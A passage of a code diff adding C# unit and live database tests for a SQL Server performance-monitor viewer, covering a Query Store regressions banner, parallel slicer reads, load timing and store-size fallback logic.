+/* The banner's time text reads the process-wide display mode, which these tests set (restored in Dispose); one shared
+   collection serializes it with every other class that flips the viewer's time statics. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerQueryStoreRegressionsDataStartTests : IDisposable
+{
+    private readonly TimeDisplayMode _savedMode = ViewerTimeHelper.CurrentDisplayMode;
+
+    public void Dispose() => ViewerTimeHelper.CurrentDisplayMode = _savedMode;
+
+    private static readonly DateTime RangeStart = new(2026, 9, 10, 0, 0, 0, DateTimeKind.Utc);
+
+    private static string ViewerFile(string file) => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", file);
+
+    private static int Matches(string source, string pattern) => Regex.Matches(source, pattern).Count;
+
+    private static string MethodBody(string source, string signaturePattern)
+    {
+        var match = Regex.Match(source, signaturePattern + @".*?\r?\n    \}\r?\n", RegexOptions.Singleline);
+        Assert.True(match.Success, $"{signaturePattern} was not found");
+        return match.Value;
+    }
+
+    // ── The earlier window and the probe ──
+
+    [Fact]
+    public void TheBaselineStart_IsSevenDaysBeforeTheWindow_AndTheReadAndTheProbeTakeItFromOneHelper()
+    {
+        Assert.Equal(7, ViewerDataService.BaselineLookbackDays);
+        Assert.Equal(RangeStart.AddDays(-7), ViewerDataService.QueryStoreRegressionsBaselineStart(RangeStart));
+
+        var source = ViewerFile("ViewerDataService.QueryStoreRegressions.cs");
+        Assert.Equal(1, Matches(source, @"var baselineStartUtc = QueryStoreRegressionsBaselineStart\(startUtc\);"));
+        Assert.Equal(1, Matches(source, @"serverId,\s*QueryStoreRegressionsBaselineStart\(startUtc\),\s*endUtc,"));
+    }
+
+    [Fact]
+    public void TheProbe_GoesThroughTheSharedFloor_OverTheRawCollectorTable_FromTheBaselineStart()
+    {
+        var source = ViewerFile("ViewerDataService.QueryStoreRegressions.cs");
+
+        Assert.Contains("DataWindowFloor.Source.ForCollectorTable(\"query_store_stats\")", source, StringComparison.Ordinal);
+        Assert.Contains("DataWindowFloor.GetForServerAsync(", source, StringComparison.Ordinal);
+        /* Both arms read the raw table, so there is no rollup floor to ask: the baseline arm starts at $5 and the recent arm at $2. */
+        var sql = ViewerDataService.QueryStoreRegressionsSql;
+        Assert.Equal(2, Matches(sql, @"FROM query_store_stats\b"));
+        Assert.DoesNotMatch(@"query_store_stats_\w+", sql);
+        Assert.Contains("collection_time >= $5", sql, StringComparison.Ordinal);
+        Assert.Contains("collection_time >= $2", sql, StringComparison.Ordinal);
+    }
+
+    /* The top 50 are ranked by added duration, not by time, so the rows say nothing about how far back the comparison reached and
+       the cap rule (newest-first rows) does not apply. A re-ranking by time would have to wire the rule. */
+    [Fact]
+    public void TheRanking_IsByCost_SoTheCapRuleDoesNotApply()
+    {
+        var sql = ViewerDataService.QueryStoreRegressionsSql;
+
+        Assert.Contains("ORDER BY additional_duration_ms DESC", sql, StringComparison.Ordinal);
+        Assert.Contains("LIMIT 50", sql, StringComparison.Ordinal);
+    }
+
+    // ── The tab: the probe beside the read, the banner keyed on the baseline window ──
+
+    /* The tab starts the probe beside the read and hands it, with the RANGE's start, to the one banner step; the step derives the
+       baseline window's start and compares the probe's answer with it, and the store-backed tests run that same step. */
+    [Fact]
+    public void QueryStoreRegressions_AsksAboutTheBaselineWindow_AndComparesWithItsStart()
+    {
+        var queries = ViewerFile("ViewerServerTab.Queries.cs");
+        var load = MethodBody(queries, @"private async Task LoadQueryStoreRegressionsAsync\(");
+
+        Assert.Equal(1, Matches(load, @"var floorTask = _dataService\.GetQueryStoreRegressionsDataStartAsync\(_server\.ServerId,\s*startUtc,\s*endUtc\);"));
+        Assert.Equal(1, Matches(load, @"await ShowQueryStoreRegressionsDataStartAsync\(QueryStoreRegressionsTruncationBanner,\s*floorTask,\s*startUtc\);"));
+        Assert.DoesNotContain("UpdateTruncationBanner(", load, StringComparison.Ordinal);
+
+        var step = Regex.Match(queries, @"internal static async Task ShowQueryStoreRegressionsDataStartAsync\(.*?;\r?\n", RegexOptions.Singleline).Value;
+        Assert.Matches(
+            @"UpdateTruncationBanner\(\s*banner,\s*await DataStartOrNullAsync\(probe,\s*""Query Store Regressions""\),\s*ViewerDataService\.QueryStoreRegressionsBaselineStart\(startUtc\)\);",
+            step);
+    }
+
+    [Fact]
+    public void EveryTabRead_OfTheGrid_HasItsProbe()
+    {
+        var tabs = string.Join("\n", Directory.GetFiles(PathTo("Darling", "PerformanceMonitor.Darling.Viewer"), "ViewerServerTab*.cs").Select(File.ReadAllText));
+
+        Assert.Equal(1, Matches(tabs, @"_dataService\.GetQueryStoreRegressionsAsync\("));
+        Assert.Equal(1, Matches(tabs, @"_dataService\.GetQueryStoreRegressionsDataStartAsync\("));
+        Assert.Equal(1, Matches(tabs, @"ShowQueryStoreRegressionsDataStartAsync\(QueryStoreRegressionsTruncationBanner,"));
+    }
+
+    [Fact]
+    public void TheBanner_SitsAboveTheGrid_InTheExistingStyle()
+    {
+        var xaml = ViewerFile("ViewerServerTab.xaml");
+
+        var banner = Regex.Match(xaml, @"<TextBlock Grid\.Row=""1"" x:Name=""QueryStoreRegressionsTruncationBanner""[^>]*/>");
+        Assert.True(banner.Success, "QueryStoreRegressionsTruncationBanner is not declared in ViewerServerTab.xaml, in the row above the grid");
+        Assert.Contains("Visibility=\"Collapsed\"", banner.Value, StringComparison.Ordinal);
+        Assert.Contains("Background=\"#22FFAA00\"", banner.Value, StringComparison.Ordinal);
+        Assert.Matches(@"<DataGrid Grid\.Row=""2"" x:Name=""QueryStoreRegressionsGrid""", xaml);
+    }
+
+    // ── What the banner shows ──
+
+    /* The banner the tab's own step (ShowQueryStoreRegressionsDataStartAsync) raises for the probe's answer on the range that starts at
+       RangeStart, read off the control; null when it is hidden. Seeded visible, so a no-op cannot pass as a hidden banner. */
+    private static string? BannerFor(DateTime? coverageStartUtc) =>
+        ReadBanner(banner => ViewerServerTab.ShowQueryStoreRegressionsDataStartAsync(banner, Task.FromResult(coverageStartUtc), RangeStart).GetAwaiter().GetResult());
+
+    /* The same answer compared with the RANGE's start, which is the keying the step moves off: the premise of the first case below. */
+    private static string? BannerComparedWithTheRangeStart(DateTime? coverageStartUtc) =>
+        ReadBanner(banner => ViewerServerTab.UpdateTruncationBanner(banner, coverageStartUtc, RangeStart));
+
+    private static string? ReadBanner(Action<TextBlock> raise)
+    {
+        string? text = null;
+        StaTestThread.Run(() =>
+        {
+            ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+            var banner = new TextBlock { Visibility = Visibility.Visible, Text = "stale" };
+
+            raise(banner);
+
+            text = banner.Visibility == Visibility.Visible ? banner.Text : null;
+        });
+        return text;
+    }
+
+    /* A server added two days before the range starts: the recent window is covered whole, but the baseline holds 5 of its 7
+       days. The notice names where the data starts; keyed on the range alone it would say nothing. */
+    [Fact]
+    public void ABaselineThatStartsInsideItsWindow_RaisesTheNotice_ThoughTheRecentWindowIsCovered()
+    {
+        var coverage = RangeStart.AddDays(-2);
+
+        Assert.Equal("Showing since 2026-09-08 00:00:00", BannerFor(coverage));
+        Assert.Null(BannerComparedWithTheRangeStart(coverage));
+    }
+
+    /* Coverage inside the recent window: the baseline is empty and the grid shows nothing, and the notice says since when. */
+    [Fact]
+    public void CoverageThatStartsInsideTheRecentWindow_RaisesTheNotice()
+    {
+        Assert.Equal("Showing since 2026-09-11 00:00:00", BannerFor(RangeStart.AddDays(1)));
+    }
+
+    /* A quiet start: the store covered the whole baseline (coverage 20 days before the range). No notice. */
+    [Fact]
+    public void AQuietStart_RaisesNoNotice()
+    {
+        Assert.Null(BannerFor(RangeStart.AddDays(-20)));
+        /* A probe with no answer names nothing. */
+        Assert.Null(BannerFor(null));
+    }
+
+    /* A probe that throws costs this banner and nothing else: the step answers a hidden banner (seeded visible) instead of throwing. */
+    [Fact]
+    public void AProbeThatThrows_HidesTheBanner_InsteadOfThrowing()
+    {
+        var text = ReadBanner(banner => ViewerServerTab.ShowQueryStoreRegressionsDataStartAsync(
+            banner, Task.FromException<DateTime?>(new InvalidOperationException("the store went away")), RangeStart).GetAwaiter().GetResult());
+
+        Assert.Null(text);
+    }
+
+    /* WPF objects require STA; same shape as ViewerLongQueriesDataStartTests. */
+}
diff --git a/Darling/Darling.Tests/ViewerQueryTabLoadTests.cs b/Darling/Darling.Tests/ViewerQueryTabLoadTests.cs
new file mode 100644
index 0000000000..598a4aecd0
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerQueryTabLoadTests.cs
@@ -0,0 +1,568 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Release-walk finding D15: the Viewer's Top Queries and Query Store tabs took 10 to 27 seconds against a store reached over
+/// a network. Measured on a local PostgreSQL behind a delayed link, the 7 day Top Queries load (the hourly rollup route) made
+/// 52 sequential store calls, 50 of them the one-text-per-row lookup; the grid's slicer read started only after the grid's
+/// own read finished; and the status bar measured the live database directory every five minutes. These pins hold the fixes.
+/// </summary>
+/* #1776 own-store: each live fact mints its own scratch database through ScratchPostgres and never touches the shared store. */
+public sealed class ViewerQueryTabLoadTests
+{
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static string Source(string file) =>
+        RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", file).Replace("\r\n", "\n");
+
+    /* ------------------------------------------------------------------ offline pins */
+
+    [Theory]
+    [InlineData("LoadTopQueriesAsync", "GetQueryStatsSlicerDataAsync", "AwaitReadWatchingProbeAsync(dataReadTask, floorTask, \"Query Stats\")")]
+    [InlineData("LoadTopProceduresAsync", "GetProcStatsSlicerDataAsync", "AwaitReadWatchingProbeAsync(dataReadTask, floorTask, \"Procedure Stats\")")]
+    [InlineData("LoadQueryStoreAsync", "GetQueryStoreSlicerDataAsync", "AwaitReadWatchingProbeAsync(dataReadTask, floorTask, \"Query Store\")")]
+    public void EachGridLoad_StartsItsSlicerRead_BesideTheGridRead_NotAfterIt(string loader, string slicerRead, string gridAwait)
+    {
+        var source = Source("ViewerServerTab.Queries.cs");
+        var start = source.IndexOf($"private async Task {loader}(", StringComparison.Ordinal);
+        Assert.True(start >= 0, loader);
+        var end = source.IndexOf("\n    }\n", start, StringComparison.Ordinal);
+        var body = source[start..end];
+
+        var slicerStarted = body.IndexOf($"_dataService.{slicerRead}(", StringComparison.Ordinal);
+        var gridAwaited = body.IndexOf(gridAwait, StringComparison.Ordinal);
+        Assert.True(slicerStarted >= 0, $"{loader} must start the slicer read");
+        Assert.True(gridAwaited >= 0, $"{loader} must await the grid read");
+        Assert.True(slicerStarted < gridAwaited,
+            $"{loader}: the slicer read must be started before the grid read is awaited, so the two round trips overlap");
+        /* A failed grid read still observes the slicer's task, so one failure is not reported twice. */
+        Assert.Contains("ViewerDataService.ObserveAsync(slicerTask)", body, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void HourlyTopQueries_ReadsEveryRowsTextInOneStatement_NotOnePerRow()
+    {
+        var source = Source("ViewerDataService.QueryStats.cs");
+        var start = source.IndexOf("private async Task<ViewerRoutedRead<ViewerQueryStatsRow>> GetTopQueriesByCpuHourlyAsync(", StringComparison.Ordinal);
+        var end = source.IndexOf("internal const string HourlyTextBatchSql", start, StringComparison.Ordinal);
+        var body = source[start..end];
+        Assert.Contains("ReadHourlyQueryTextsAsync(", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("FROM v_query_stats WHERE server_id = $1 AND database_name = $2 AND query_hash = $3", body, StringComparison.Ordinal);
+        /* The only per-row work left is shaping: no statement is created inside the loop over the ranked rows. */
+        var loop = body.IndexOf("for (var i = 0; i < ranked.Count; i++)", StringComparison.Ordinal);
+        Assert.True(loop >= 0);
+        var loopBody = body[loop..];
+        Assert.DoesNotContain("CreateCommand", loopBody, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void EveryInnerTabLoad_IsTimed_AndASlowOneLogsItsPhaseSplit()
+    {
+        var shell = Source("ViewerServerTab.xaml.cs");
+        Assert.Contains("var timer = new ViewerLoadTimer();", shell, StringComparison.Ordinal);
+        Assert.Contains("timer.Finish(", shell, StringComparison.Ordinal);
+        Assert.Contains("ViewerLogger.Warn(\"SlowLoad\"", shell, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void StatusBarStoreSize_ReadsTheRecordedFigure_BeforeMeasuringTheLiveDirectory()
+    {
+        var source = Source("ViewerDataService.ServerStatus.cs");
+        Assert.Contains("ResolveStoreSizeAsync(ReadRecordedStoreSizeAsync, ReadLiveStoreSizeAsync", source, StringComparison.Ordinal);
+        var recordedRead = source.IndexOf("private async Task<long?> ReadRecordedStoreSizeAsync()", StringComparison.Ordinal);
+        var liveRead = source.IndexOf("private async Task<long?> ReadLiveStoreSizeAsync()", StringComparison.Ordinal);
+        Assert.True(recordedRead >= 0 && liveRead > recordedRead);
+        Assert.Contains("StoreSelfMetrics.LatestStoreSizeSql", source[recordedRead..liveRead], StringComparison.Ordinal);
+        Assert.Contains("CreateCommand(StoreSizeSql)", source[liveRead..], StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void LoadTimer_LogsNothingForAQuickLoad()
+    {
+        var phases = new List<(string Phase, long StartedMs, long EndedMs)> { ("grid read", 0, 400) };
+        Assert.Null(ViewerLoadTimer.Describe("Queries > Top Queries by Duration", ViewerLoadTimer.SlowLoadThresholdMs - 1, phases));
+    }
+
+    [Fact]
+    public void LoadTimer_NamesTheTab_EachPhase_AndTheClientShare_ForASlowLoad()
+    {
+        var phases = new List<(string Phase, long StartedMs, long EndedMs)>
+        {
+            ("data start", 0, 300), ("grid read", 0, 5200), ("slicer read", 0, 900),
+        };
+        var line = ViewerLoadTimer.Describe("Queries > Top Queries by Duration", 5900, phases);
+        Assert.NotNull(line);
+        Assert.Contains("Queries > Top Queries by Duration", line, StringComparison.Ordinal);
+        Assert.Contains("took 5900 ms", line, StringComparison.Ordinal);
+        Assert.Contains("grid read 5200 ms", line, StringComparison.Ordinal);
+        Assert.Contains("slicer read 900 ms", line, StringComparison.Ordinal);
+        /* 5900 total, the last read finished at 5200: 700 ms was the client's. */
+        Assert.Contains("700 ms of client work", line, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task LoadTimer_Track_RecordsAPhase_AndHandsTheTaskBackUnchanged()
+    {
+        var timer = new ViewerLoadTimer();
+        var task = Task.FromResult(7);
+        Assert.Same(task, timer.Track("grid read", task));
+        await task;
+        await Task.Delay(50, TestContext.Current.CancellationToken);
+        timer.Surface = "x";
+        Assert.Null(timer.Finish("fallback"));
+    }
+
+    private static string LoaderBody(string file, string signature)
+    {
+        var source = Source(file);
+        var start = source.IndexOf(signature, StringComparison.Ordinal);
+        Assert.True(start >= 0, signature);
+        var end = source.IndexOf("\n    }\n", start, StringComparison.Ordinal);
+        return source[start..end];
+    }
+
+    [Fact]
+    public void LongQueries_StartsItsTraceCheck_BesideTheGridReads_NotBeforeThem()
+    {
+        var body = LoaderBody("ViewerServerTab.LongQueries.cs", "private async Task LoadLongQueriesAsync(");
+        var traceStarted = body.IndexOf("_dataService.GetLongQueryTraceEnabledAsync(", StringComparison.Ordinal);
+        var dataStarted = body.IndexOf("_dataService.GetRecentLongQueryCompletionsAsync(", StringComparison.Ordinal);
+        var gridAwaited = body.IndexOf("AwaitReadWatchingProbeAsync(dataReadTask, dataStartTask, \"Long Queries\")", StringComparison.Ordinal);
+        Assert.True(traceStarted >= 0 && dataStarted >= 0 && gridAwaited >= 0);
+        Assert.True(traceStarted < gridAwaited, "the trace check must be started before the grid read is awaited, so the round trips overlap");
+        Assert.DoesNotContain("await _dataService.GetLongQueryTraceEnabledAsync(", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("await Timed(\"trace check\"", body, StringComparison.Ordinal);
+        /* The note for a trace that is off is still driven by the check's answer, whether the grid read succeeds or fails. */
+        var applied = body.IndexOf("await ApplyTraceNoteAsync(traceTask);", StringComparison.Ordinal);
+        var gridCatch = body.IndexOf("catch", gridAwaited, StringComparison.Ordinal);
+        var failurePath = body.IndexOf("_ = ApplyTraceNoteAsync(traceTask);", gridCatch, StringComparison.Ordinal);
+        var rethrow = body.IndexOf("throw;", failurePath, StringComparison.Ordinal);
+        Assert.True(gridCatch > gridAwaited && failurePath > gridCatch && rethrow > failurePath,
+            "a failed grid read still sets the note from the check, without awaiting it, and rethrows at once");
+        Assert.True(applied > rethrow, "a good grid read awaits the check once, then binds the rows");
+        Assert.DoesNotContain("ContinueWith", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("await traceTask", body, StringComparison.Ordinal);
+        Assert.True(body.IndexOf("_longQueryFilterMgr!.UpdateData(rows)", applied, StringComparison.Ordinal) > applied);
+    }
+
+    [Theory]
+    [InlineData("GetQueryStatsComparisonAsync")]
+    [InlineData("GetProcedureStatsComparisonAsync")]
+    [InlineData("GetQueryStoreComparisonAsync")]
+    public void ComparisonReads_AreTimed_SoSlowLoadDoesNotCallThemClientWork(string read)
+    {
+        var source = Source("ViewerServerTab.QueriesComparison.cs");
+        Assert.Contains($"Timed(timer, \"comparison read\", _dataService.{read}(", source, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task Timed_WithNoTimer_IsTheTaskItself_AndWithOne_BooksTheReadOnThatTimerAlone()
+    {
+        var live = new ViewerLoadTimer();
+        var other = new ViewerLoadTimer();
+        var drill = Task.FromResult(1);
+        Assert.Same(drill, ViewerServerTab.Timed(null, "grid read", drill));
+
+        await drill;
+        await Task.Delay(50, TestContext.Current.CancellationToken);
+        Assert.Equal(0, live.PhaseCount);
+        Assert.Equal(0, other.PhaseCount);
+
+        var read = Task.FromResult(2);
+        Assert.Same(read, ViewerServerTab.Timed(live, "grid read", read));
+        await read;
+        await Task.Delay(50, TestContext.Current.CancellationToken);
+        Assert.Equal(1, live.PhaseCount);
+        Assert.Equal(0, other.PhaseCount);
+    }
+
+    [Fact]
+    public void TheLoadsTimer_IsAParameterHandedDown_NeverAField_SoANonLoadReadCannotJoinAnotherLoadsLine()
+    {
+        foreach (var file in new[] { "ViewerServerTab.xaml.cs", "ViewerServerTab.Queries.cs", "ViewerServerTab.QueriesComparison.cs", "ViewerServerTab.LongQueries.cs", "ViewerServerTab.DailySummary.cs" })
+        {
+            Assert.DoesNotContain("_loadTimer", Source(file), StringComparison.Ordinal);
+        }
+
+        var shell = Source("ViewerServerTab.xaml.cs");
+        Assert.Contains("await LoadQueriesAsync(timer);", shell, StringComparison.Ordinal);
+        Assert.Contains("await LoadLongQueriesAsync(timer);", shell, StringComparison.Ordinal);
+
+        var queries = Source("ViewerServerTab.Queries.cs");
+        Assert.Contains("await LoadTopQueriesAsync(startUtc, endUtc, timer);", queries, StringComparison.Ordinal);
+        Assert.Contains("await LoadTopProceduresAsync(startUtc, endUtc, timer);", queries, StringComparison.Ordinal);
+        Assert.Contains("await LoadQueryStoreAsync(startUtc, endUtc, timer);", queries, StringComparison.Ordinal);
+        Assert.Contains("await RefreshQueryStatsComparisonAsync(startUtc, endUtc, timer);", queries, StringComparison.Ordinal);
+        Assert.Contains("await RefreshProcStatsComparisonAsync(startUtc, endUtc, timer);", queries, StringComparison.Ordinal);
+        Assert.Contains("await RefreshQueryStoreComparisonAsync(startUtc, endUtc, timer);", queries, StringComparison.Ordinal);
+
+        /* The paths that start outside a load pass no timer: the day-summary drill and the three slicer drags. */
+        Assert.Contains("await LoadTopQueriesAsync(startUtc, endUtc);", Source("ViewerServerTab.DailySummary.cs"), StringComparison.Ordinal);
+        Assert.Contains("await RefreshQueryStatsComparisonAsync(e.StartUtc, e.EndUtc);", queries, StringComparison.Ordinal);
+        Assert.Contains("await RefreshProcStatsComparisonAsync(e.StartUtc, e.EndUtc);", queries, StringComparison.Ordinal);
+        Assert.Contains("await RefreshQueryStoreComparisonAsync(e.StartUtc, e.EndUtc);", queries, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void InnerTabLoad_HandsTheTabHeaderToFinish_SoASlowLineNamesTheTab()
+    {
+        var shell = Source("ViewerServerTab.xaml.cs");
+        var finish = shell.IndexOf("timer.Finish(", StringComparison.Ordinal);
+        Assert.True(finish >= 0);
+        var call = shell[finish..shell.IndexOf(';', finish)];
+        Assert.Contains("InnerTabLoadName(tabIndex,", call, StringComparison.Ordinal);
+        Assert.Contains("InnerTabs.Items[tabIndex] as TabItem", call, StringComparison.Ordinal);
+        Assert.Contains(".Header", call, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task TraceCheck_AnswersTrueOrFalse_WhenItSucceeds_AndNullWithAWarning_WhenItFails()
+    {
+        var warned = new List<string>();
+        Assert.True(await ViewerServerTab.TraceEnabledOrNullAsync(Task.FromResult(true), (_, m) => warned.Add(m)));
+        Assert.False(await ViewerServerTab.TraceEnabledOrNullAsync(Task.FromResult(false), (_, m) => warned.Add(m)));
+        Assert.Empty(warned);
+
+        var answer = await ViewerServerTab.TraceEnabledOrNullAsync(Task.FromException<bool>(new InvalidOperationException("check boom")), (_, m) => warned.Add(m));
+        Assert.Null(answer);
+        var line = Assert.Single(warned);
+        Assert.Contains("check boom", line, StringComparison.Ordinal);
+        Assert.Contains("left as it was", line, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(7, "Wait Stats", "Wait Stats")]
+    [InlineData(7, "  Memory  ", "Memory")]
+    [InlineData(7, null, "inner tab 7")]
+    [InlineData(7, "", "inner tab 7")]
+    public void SlowLoadLine_NamesTheTab_ByItsHeader_AndByIndexOnlyWithoutOne(int index, string? header, string expected)
+    {
+        Assert.Equal(expected, ViewerServerTab.InnerTabLoadName(index, header));
+    }
+
+    [Fact]
+    public void SlowLoadLine_FallsBackToTheIndex_WhenTheHeaderIsNotText()
+    {
+        Assert.Equal("inner tab 3", ViewerServerTab.InnerTabLoadName(3, new object()));
+    }
+
+    [Theory]
+    [InlineData("private async Task LoadTopQueriesAsync(")]
+    [InlineData("private async Task LoadTopProceduresAsync(")]
+    [InlineData("private async Task LoadQueryStoreAsync(")]
+    public void AGridReadFailure_DoesNotWaitForTheSlicerRead(string loader)
+    {
+        var body = LoaderBody("ViewerServerTab.Queries.cs", loader);
+        Assert.DoesNotContain("await ViewerDataService.ObserveAsync(slicerTask)", body, StringComparison.Ordinal);
+        Assert.Contains("_ = ViewerDataService.ObserveAsync(slicerTask)", body, StringComparison.Ordinal);
+    }
+
+    private static Func<Task<long?>> Counting(Func<long?> answer, Action onCall) => () =>
+    {
+        onCall();
+        return Task.FromResult(answer());
+    };
+
+    [Fact]
+    public async Task StoreSize_AFailedRecordedRead_WalksTheLiveDirectory_AndLogsTheFallbackOncePerCause()
+    {
+        await using var service = new ViewerDataService("Host=localhost;Port=1;Database=darling;Timeout=1");
+        var warned = new List<string>();
+        var liveCalls = 0;
+        Func<Task<long?>> recorded = () => throw new InvalidOperationException("permission denied for table store_metrics");
+        var live = Counting(() => 42L, () => liveCalls++);
+
+        for (var i = 0; i < 3; i++)
+        {
+            Assert.Equal(42L, await service.ResolveStoreSizeAsync(recorded, live, (_, m) => warned.Add(m)));
+        }
+
+        Assert.Equal(3, liveCalls);
+        var line = Assert.Single(warned);
+        Assert.Contains("walks the live directory", line, StringComparison.Ordinal);
+        Assert.Contains("permission denied for table store_metrics", line, StringComparison.Ordinal);
+
+        /* A different cause is a new fact, so it is logged again. */
+        Func<Task<long?>> other = () => throw new InvalidOperationException("relation does not exist");
+        Assert.Equal(42L, await service.ResolveStoreSizeAsync(other, live, (_, m) => warned.Add(m)));
+        Assert.Equal(2, warned.Count);
+        Assert.Contains("relation does not exist", warned[1], StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task StoreSize_ATimedOutRecordedRead_SkipsTheLiveWalk_KeepsTheLastSize_AndSaysSo()
+    {
+        await using var service = new ViewerDataService("Host=localhost;Port=1;Database=darling;Timeout=1");
+        var warned = new List<string>();
+        var liveCalls = 0;
+        var live = Counting(() => 7L, () => liveCalls++);
+        Func<Task<long?>> goodRecorded = () => Task.FromResult<long?>(5_000L);
+        Func<Task<long?>> timedOut = () => throw new NpgsqlException("The operation has timed out", new TimeoutException());
+
+        /* Nothing shown yet: the empty value, and no live walk. */
+        Assert.Null(await service.ResolveStoreSizeAsync(timedOut, live, (_, m) => warned.Add(m)));
+        Assert.Equal(0, liveCalls);
+
+        Assert.Equal(5_000L, await service.ResolveStoreSizeAsync(goodRecorded, live, (_, m) => warned.Add(m)));
+        Assert.Equal(5_000L, await service.ResolveStoreSizeAsync(timedOut, live, (_, m) => warned.Add(m)));
+        Assert.Equal(0, liveCalls);
+        var line = Assert.Single(warned);
+        Assert.Contains("timed out", line, StringComparison.Ordinal);
+        Assert.Contains("keeps the last size", line, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task StoreSize_NoRecordedRow_WalksTheLiveDirectory_WithoutAWarning_AndARecordedFigureNeverDoes()
+    {
+        await using var service = new ViewerDataService("Host=localhost;Port=1;Database=darling;Timeout=1");
+        var warned = new List<string>();
+        var liveCalls = 0;
+        var live = Counting(() => 9L, () => liveCalls++);
+        Assert.Equal(9L, await service.ResolveStoreSizeAsync(() => Task.FromResult<long?>(null), live, (_, m) => warned.Add(m)));
+        Assert.Equal(1, liveCalls);
+        Assert.Equal(11L, await service.ResolveStoreSizeAsync(() => Task.FromResult<long?>(11L), live, (_, m) => warned.Add(m)));
+        Assert.Equal(1, liveCalls);
+        Assert.Empty(warned);
+    }
+
+    [Fact]
+    public void CommandTimeout_IsDetectedByStructure_NotByMessage()
+    {
+        Assert.True(ViewerDataService.IsCommandTimeout(new TimeoutException()));
+        Assert.True(ViewerDataService.IsCommandTimeout(new NpgsqlException("x", new TimeoutException())));
+        Assert.True(ViewerDataService.IsCommandTimeout(new PostgresException("canceling statement due to statement timeout", "ERROR", "ERROR", "57014")));
+        Assert.False(ViewerDataService.IsCommandTimeout(new PostgresException("permission denied", "ERROR", "ERROR", "42501")));
+        Assert.False(ViewerDataService.IsCommandTimeout(new InvalidOperationException("the operation has timed out")));
+    }
+
+    /* ------------------------------------------------------------------ live pins */
+
+    private static async Task<long> StartStatementCountingAsync(string connectionString, CancellationToken ct)
+    {
+        await using var probe = new NpgsqlConnection(connectionString);
+        await probe.OpenAsync(ct);
+        await using (var preloadCmd = new NpgsqlCommand("SELECT current_setting('shared_preload_libraries')", probe))
+        {
+            var preload = (string)(await preloadCmd.ExecuteScalarAsync(ct))!;
+            Assert.SkipWhen(!preload.Split(',').Select(s => s.Trim()).Contains("pg_stat_statements"),
+                $"pg_stat_statements is not in shared_preload_libraries ('{preload}').");
+        }
+
+        await using (var ext = new NpgsqlCommand("CREATE EXTENSION IF NOT EXISTS pg_stat_statements", probe))
+        {
+            await ext.ExecuteNonQueryAsync(ct);
+        }
+
+        await using var oidCmd = new NpgsqlCommand("SELECT oid FROM pg_database WHERE datname = current_database()", probe);
+        var dbId = (uint)(await oidCmd.ExecuteScalarAsync(ct))!;
+        await using var reset = new NpgsqlCommand("SELECT pg_stat_statements_reset(0, $1, 0)", probe);
+        reset.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Oid, Value = dbId });
+        await reset.ExecuteNonQueryAsync(ct);
+        return dbId;
+    }
+
+    private static async Task<long> CountCallsAsync(string connectionString, long dbId, string likePattern, CancellationToken ct)
+    {
+        await using var conn = new NpgsqlConnection(connectionString);
+        await conn.OpenAsync(ct);
+        await using var cmd = new NpgsqlCommand("SELECT COALESCE(SUM(calls), 0)::bigint FROM pg_stat_statements WHERE dbid = $1 AND query LIKE $2", conn);
+        cmd.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Oid, Value = (uint)dbId });
+        cmd.Parameters.AddWithValue(likePattern);
+        return (long)(await cmd.ExecuteScalarAsync(ct))!;
+    }
+
+    [Fact]
+    public async Task HourlyTextLookup_IsOneStatement_ForAnyNumberOfRows_AndAnswersEachRowsOwnText()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the live query-tab load pins.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using (var setup = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await setup.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(setup, ct);
+            await using var seed = new NpgsqlCommand(@"
+INSERT INTO servers (server_id, server_name, display_name, is_enabled, sql_major_version, created_date, modified_date)
+VALUES (7001, 'tabload', 'tabload', TRUE, 15, now() at time zone 'utc', now() at time zone 'utc');
+INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_text, delta_execution_count)
+SELECT 1000 + q, (now() at time zone 'utc') - interval '5 minutes', 7001, 'tabload', 'db' || (q % 3), '0xH' || q,
+       CASE WHEN q = 7 THEN NULL ELSE 'SELECT ' || q END, 1
+FROM generate_series(1, 30) q", setup);
+            await seed.ExecuteNonQueryAsync(ct);
+        }
+
+        var dbId = await StartStatementCountingAsync(scratch.ConnectionString, ct);
+        var bodySucceeded = false;
+        await using var service = new ViewerDataService(scratch.ConnectionString);
+        try
+        {
+            var databases = Enumerable.Range(1, 31).Select(q => "db" + (q % 3)).ToArray();
+            var hashes = Enumerable.Range(1, 31).Select(q => "0xH" + q).ToArray();
+            var texts = await service.ReadHourlyQueryTextsAsync(7001, databases, hashes, ct);
+
